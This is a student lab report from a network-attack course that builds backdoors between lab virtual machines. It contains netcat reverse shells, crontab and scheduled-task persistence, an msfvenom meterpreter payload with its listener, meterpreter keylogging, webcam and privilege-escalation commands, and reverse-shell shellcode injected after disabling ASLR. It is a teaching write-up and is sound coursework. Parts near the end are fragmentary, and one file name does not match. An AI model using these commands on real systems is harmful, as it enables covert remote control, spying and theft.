- 基础知识
- 实验内容
- 实验步骤
- 遇到的问题及解决方法
- 实验感想
1、例举你能想到的一个后门进入到你系统中的可能方式?
2、例举你知道的后门如何启动起来(win及linux)的方式?
3、Meterpreter有哪些给你映像深刻的功能?
4、如何发现自己有系统有没有被安装后门?
1、在win7中打开cmd,使用ipconfig命令查看IP地址为:192.168.216.1
2、ncat.exe -l -p 5325
监听本机的5325端口
3、在kali下,输入nc 192.168.216.1 -e /bin/sh
(使用nc指令的-e选项反向连接Windows主机的5325端口)
4、可以看到win下成功获得kali的shell
1、在Kali环境下用查看IP
2、Linux中使用nc指令,nc -l -p 5325
,监听5325端口
3、Windows反弹连接Linux使用ncat.exe -e cmd.exe 192.168.216.132 5325
4、kali:可以输入Windows命令ipconfig
1、在Windows系统下,ncat.exe -l -p 5325
,监听5325端口
2、Linux中用crontab -e
指令编辑一条定时任务,在最后一行加入20 * * * * /bin/netcat XXXXXXX 5325 -e /bin/sh
,意思是在每个小时的第20分钟反向连接Windows主机的5325端口,就会启动cron
1、在Windows系统下,打开计算机管理->任务计划程序
,创建任务,填写任务名称后,新建一个触发器
2、下载socat.rar,并在程序或脚本中选择socat.exe
3、任务创建后,右键它使任务运行。
4、在Kali环境下输入指令socat - tcp:192.168.216.1:5325
,这里的第一个参数代表标准的输入输出,第二个流连接到Windows主机的5325端口
1、在kali中输入命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.216.132 LPORT=5325 -f exe > 20175325.exe
生成后门程序(LHOST=kali linux的IP)
2、输入如下命令,
ncat.exe -l > 20175325.exe
nc 192.168.216.1 5325 < dkx_20175325.exe
(这里的地址是Win7的地址)3、在Kali上使用msfconsole
指令进入msf控制台,输入以下代码
use exploit/multi/handler //使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp //使用和生成后门程序时相同的payload
set LHOST 192.168.216.132 //这里用的是kali的IP
set LPORT 5325
show options //查看设置
设置完成后,设置完成后,利用exploit,执行监听,在windows中运行20175325.exe
4、此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell。
音频:linux使用record_mic可以截取一段音频
摄像头:linux使用webcam_snap可以获取摄像头内容
键盘:linux使用keyscan_start可以记录下击键的过程,使用keyscan_dump可以读取击键记录
截屏:linux使用screenshot可以进行截屏
用户:linux使用getuid可以查看当前用户,使用getsystem可以进行提权操作
1、下载反弹连接的shellcode并提取其中的机器码
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
2、输入如下代码:
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行,显示X pwn1则表示可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space //查看随机化是否关闭,如显示0则已关闭,2未关闭
3、使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中
perl -e 'print "A"x 32;print"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80"' > input_shellcode
4、打开另一个终端中msfconsole,并打开监听,在原终端运行pwn1(cat input_2;cat) | ./pwn1
,另一边就可以得到shell了。
ipconfig
来查看虚拟机IP地址whereis ipconfig
、echo $PATH
、/sbin/ipconfig
就可以解决了此次的实验学习了很多知识,让我初步了解了如何去搭建一个后门并进行相关的操作,自己动手做实验也加深了对知识的理解。
2019-2020-2 20175325石淦铭《网络对抗技术》Exp2 后门原理与实践
原文:https://www.cnblogs.com/sgm5/p/12534551.html